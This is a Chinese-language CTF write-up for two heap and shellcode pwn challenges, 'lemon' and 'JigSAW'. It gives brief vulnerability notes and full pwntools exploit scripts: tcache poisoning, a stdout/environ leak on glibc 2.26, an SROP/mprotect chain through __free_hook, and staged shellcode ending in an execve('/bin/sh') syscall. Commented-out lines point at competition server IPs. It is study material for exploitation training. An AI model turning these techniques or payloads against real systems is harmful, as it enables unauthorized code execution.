lemon
主要问题是2.26版本下, 未控制好指针导致任意写
数据结构如下:
lemon_name:
lemon_content:
主要可利用的函数是color:
里的buf是指lemon_name结构, 所以可以控制指针lemon_addr的指向了, 因为只能用一次所以想控制整个tcache结构
其它一点可利用的函数:
开头的一次welcome:
虽然是有rand, 但无随机数种子, 所以是固定值, z3一把🔒!
eat函数: 可以打印chunkaddr第四字节, 用于配合后面分配堆块
整体思路:
利用color控制lemon_addr指向tcache的地址, 然后用一次释放一次可以做到一直控制tcache, 第一次使用可以设置tcache某些块数量达到7, 从而生成unsortedbin, 虽然无法直接打印, 但是使用particular write+爆破可以让chunk申请到_IO_2_1_stdout中, 然后泄露libc, 之后再以类似操作用environ打印出栈基址, 配合之前的泄露获取stack地址, 最后再用io即可打印出flag
难点:
多了个类似ptmalloc的检测在分配完成之后, 导致使用free_hook等充满难度:
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from z3 import *
io=process('./lemon_pwn')
libc = ELF('./libc/libc-2.26.so')
context.log_level = 'debug'
def resolve():
x=BitVec('x', 33)
x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
s=Solver()
s.add(x^0x6b8b4567==0x13b6db38)
print s.check()
result=s.model()
print result
def add(index,name,length,context='a'):
io.sendlineafter('choice >>> ','1')
io.sendlineafter('index of your lemon: \n',str(index))
io.sendafter('name your lemon: \n',name)
io.sendlineafter('length of message for you lemon: \n',str(length))
if length <= 0x400:
io.sendafter('message: \n',context)
def eat(index):
io.sendlineafter('choice >>> ','2')
io.sendlineafter('index of your lemon : \n',str(index))
def throw(index):
io.sendlineafter('choice >>> ','3')
io.sendlineafter('index of your lemon : \n',str(index))
def color(index,context):
io.sendlineafter('choice >>> ','4')
io.sendlineafter('index of your lemon : \n',str(index))
io.sendafter('draw and color!\n',context)
def exp():
io.sendlineafter('me?\n','yes')
io.sendlineafter(' number: \n',p32(0x4a46bd98)+p8(1))
io.recvuntil('first: \n')
io.sendline('/bin/sh')
add(1,'wwww\n',0x30)
add(2,'a',0x90)
add(3,'a',0x60)
add(0,'wwww\n',0x20)
#add(3,'a\n',944,'a\n')
#add(3,'a\n',16,'a\n')
eat(1)
io.recvuntil('eat eat eat ')
addr=int(io.recv(5))
print(hex(addr))
color(1,'b'*0x10+p32(0x40)+p32(1)+p16(addr-0x250))
''' control all tc'''
throw(3)
throw(1)
add(1,'a',0x240,p64(0)+p8(7)+p8(0)*0x37)
throw(2)
throw(1)
add(1,'a',0x240,p64(0)*13+p16(addr+0xd0))
add(2,'a',0x60)
throw(1)
add(1,'a\n',0x240,p64(0)*13+p16(0x86ed))
'''boom!'''
add(2,'a\n',96,'a'*0x33+p64(0xfbad1887)+p64(0)*3+'\x88')
#gdb.attach(io)
stdin=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = stdin-libc.symbols['_IO_2_1_stdin_']
stdout = libc_base+libc.symbols['_IO_2_1_stdout_']
print(hex(libc_base))
environ = libc_base+libc.symbols['_environ']
throw(1)
add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))
throw(0)
#gdb.attach(io, '''b *$rebase(0x1106)''')
add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))
stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x180
print(hex(stack))
add(0,'b',48,'a')
throw(1)
add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))
throw(0)
add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(stack-4)+p64(stack+0x28))
#gdb.attach(io)
io.interactive()
while 1:
try:
#io=process('./lemon_pwn')
#io = remote('47.104.70.90',34524)
exp()
except:
io.close()
其它唧唧歪歪:
如果没有tc怎么办捏? 伪造大小构造unsortedbin后多次构造出doublefree的指针然后打main_arena-0x33的位置(因为0x7f是可以过程序的检测), 在main_arena处再次伪造fastbin上的指针和size, 指向main_arena+x处, 最后修改topchunk指针指向free_hook-x(值👴忘了), 最后多申请topchunk, 使其滑到__free_hook, 构造srop打(为什么👴会想无tc的情况呢, 因为一开始以为2.26无tc就没改环境, ctmd, 然后这种做法因为2.26有tc, 即使申请到了main_arena处, 也会因为tc的出现而无法伪造fastbin, 原因懒得探究了)
2.23的exp(还未加上爆破的格式~):
#!/usr/bin/env python
# coding=utf-8
from z3 import *
from pwn import *
#context.log_level='debug'
#sh=process(['./libc/ld-2.26.so', './lemon_pwn'], env={'LD_PRELOAD':'./libc/libc-2.26.so'})
#sh=remote('47.104.70.90',34524)
sh=process('./lemon_pwn')
elf=ELF('./lemon_pwn')
#libc=ELF('/home/thu1e/ctf/Pwn/glibc-all-in-one/libs/libc-2.26.so')
libc=elf.libc
context.binary=elf
def resolve():
x=BitVec('x', 33)
x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
s=Solver()
s.add(x^0x6b8b4567==0x13b6db38)
print s.check()
result=s.model()
print result
def get(idx, name, length, message=' '):
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.send(name)
sh.recv()
sh.sendline(str(length))
if length <= 0x400:
sh.recv()
sh.send(message)
def eat(idx):
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline(str(idx))
def throw(idx):
sh.recv()
sh.sendline('3')
sh.recv()
#sh.recvuntil('Input the index of your lemon : \n')
sh.sendline(str(idx))
def color(idx, content):
#gdb.attach(sh, '''b *$rebase(0x1354)''')
sh.recv()
sh.sendline('4')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.send(content)
#resolve()
sh.recv()
sh.send('yes')
sh.recv()
sh.send(p64(0x1783de662))
sh.send('Thu1e')
sh.recvuntil('Hi Thu1e, your reward is 0x')
stack_low=int(sh.recvuntil('\n').split()[0], 16)
log.success('stack low: '+hex(stack_low))
'''
color(-268, p64(0xfbad1800)+p64(0x0)*3+'\x00')
sh.recvuntil(p64(0)*3)
leak_libc=u64(sh.recv(6).ljust(8, '\x00'))
libc_base=leak_libc-0x3c36e0
log.success('libc base: '+hex(libc_base))
'''
get(0, 'thule', 0x30)
eat(0)
sh.recvuntil('eat eat eat ')
heap_last_4=int(sh.recvuntil('...')[:-3])
#print str(chunk_last_4)
log.success('chunk last 4bytes: '+hex(heap_last_4))
get(0, 'w', 0x20)
get(1, 'w', 0x20)
color(0, p32(1)*6+p16(heap_last_4+0x100))
#gdb.attach(sh, '''b *$rebase(0x011D1)\n x/8gx $rebase(0x202880)''')
throw(0)
throw(1)
get(3, p64(0)*2, 0x20, p16(heap_last_4+0x160))
get(0, p64(0)*2, 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x30)+p32(1)+p64(0x61)*10)
#gdb.attach(sh, '''b *$rebase(0xF57)''')
get(2, 'w', 0x30)
get(1, p64(0)*2, 0x30)
throw(0)
#gdb.attach(sh, '''b *$rebase(0xF44)''')
get(0, p64(0), 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x5f0)+p32(1)+p16(heap_last_4+0x260))
throw(2)
get(2, p64(0), 0x30, p64(0)*3+p64(0x601))#uaf
throw(3)
get(0, p64(0), 0x440)
get(0, p64(0), 0x20)
get(3, p64(0), 0x20)
get(2, p64(0), 0x400, p64(0)*14*2+p64(0)+p64(0x21))
get(2, p64(0), 0xe0, p64(0)*2*12+p64(0)+p64(0x21))
throw(1)
throw(3)
throw(0)
payload1=p64(0)*11+p64(0x31)+p16(heap_last_4+0xc0+0x30)
get(0, p64(0), 0xa0, payload1)
get(0, p16(heap_last_4+0x750), 0x20, 'xxxxxxxx')
get(0, p64(0), 0x20, p64(0)*2+p32(0xe0)+p32(1)+p16(0x340+heap_last_4))
get(1, p64(0), 0x60)
get(3, p64(0), 0x60)
get(0, p64(0), 0x60, p8(0xed)+p8(0x6)+p8(0xdd))
throw(1)
throw(3)
throw(2)
get(0, p64(0), 0x60, p16(0x480+heap_last_4))
get(2, p64(0), 0x60, p16(0x340+heap_last_4))
get(1, p64(0), 0x60, p16(0x340+heap_last_4))
get(3, p64(0), 0x60, p16(0x340+heap_last_4))
payload2=p8(0)*3+p64(0)*6+p64(0xfbad1800)+p64(0x0)*3+'\x00'
get(2, p64(0), 0x60, payload2)
sh.recvuntil(p32(0xfbad1800))
sh.recv(0x1c)
libc_base=u64(sh.recv(8))-0x3db700
log.success('libc base: '+hex(libc_base))
throw(0)
throw(3)
throw(1)
get(2, p64(0), 0xe0, p64(0x71)*2*14)
get(3, p64(0), 0xe0)
throw(2)
throw(3)
get(0, 'w', 0x60, p16(heap_last_4+0x620))
get(0, 'w', 0x60)
get(0, 'w', 0x60)
get(0, 'w', 0x60, p64(0)+p64(0xf1)+p64(libc_base+libc.sym['__free_hook']))
frame=SigreturnFrame()
frame.rax=0
frame.rdi=(libc_base+libc.sym['__free_hook'])&0xfffffffffffff000
frame.rsi=0x2000
frame.rdx=7
frame.rip=(libc_base+libc.sym['mprotect'])
frame.rsp=(libc_base+libc.sym['__free_hook'])+0x28
get(0, 'w', 0xe0)
#get(0, 'w', 0xe0, p64(libc_base+libc.sym['setcontext']+53))
#get(0, 'w', 0x60, p64(libc_base+0x3dac05))
#[get(0, 'w', 0x60) for i in range(2)]
#payload3=p8(0)*3+p64(0x60)+p64(1)+p64(0)*4+p64(libc_base+0x3dac10)
#get(0, 'w', 0x60, payload3)
#get(3, 'w', 0x50, p64(0)*7+p64(libc_base+libc.sym['__free_hook']-0x1098))
#'''unsorted bin 0x70 chunk'''
#throw(0)
gdb.attach(sh)
#throw(0)
#get(0, p64(0), 0x80,p64(0)*2*5+p64(0)+p64(0x1f1)+p16(heap_last_4+0x690-0x10))
sh.interactive()
JigSAW:
前言:
因为远程和本地的区别, 导致比赛结束了五分钟才出, 尼玛(但是呆呆说是因为我菜单写的太简洁了, 哭)
漏洞:
初始化时, 输入处是bool类型, 而scanf用的%ld, 可以覆盖掉rand产生的值, 然后给heap7的权限
难点:
分段shellcode写法, 👴写了30分钟, 然后远程调试改了15分钟, 想想就来气
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./JigSAW')
#sh=remote('47.104.71.220', 10273)
elf=ELF('./JigSAW')
libc=elf.libc
context.binary=elf
context.log_level='debug'
def add(idx):
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(idx))
def edit(idx, content):
sh.recv()
sh.sendline('2')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.send(content)
def test(idx):
sh.recv()
sh.sendline('4')
sh.recv()
sh.sendline(str(idx))
sh.recv()
sh.send('a')
sh.recv()
sh.sendline('85899345920')
#gdb.attach(sh, '''b *$rebase(0x1686)''')
for i in range(4):
add(i)
shellcode1=asm('''
add rdx, 0x20
push rdx
mov rsi, rsp
inc rax
push rax
pop rdi
jmp [rsi]
''')
shellcode2=asm('''
push r8
pop rdx
syscall
pop r9
add r9, 0x20
push r9
''')
shellcode3=asm('''
xor rax, rax
push r11
pop rdx
xor rdi, rdi
push rcx
pop rsi
syscall
''')
print hex(len(shellcode1))
print hex(len(shellcode2))
print hex(len(shellcode3))
edit(0, shellcode1)
edit(1, shellcode2)
edit(2, shellcode3)
#gdb.attach(sh, '''b *$rebase(0x1c41)''')
test(0)
'''
加上下面三行就是打远程的玩意
sleep(3)
sh.recvuntil('Index? :')
sh.recv(2)
'''
heap_addr=u64(sh.recv(6).ljust(8, '\x00'))
log.success('heap addr: '+hex(heap_addr))
shellcode=p8(0)*5+'/bin/sh\x00'*4+p8(0x5e)+p8(0xf)+p8(0x5)
s1='''
mov rax, 59
mov rdi, 0x%x
xor rsi, rsi
xor rdx, rdx
syscall
'''%(heap_addr+0xa)
shellcode+=asm(s1)
sh.send(shellcode)
sh.interactive()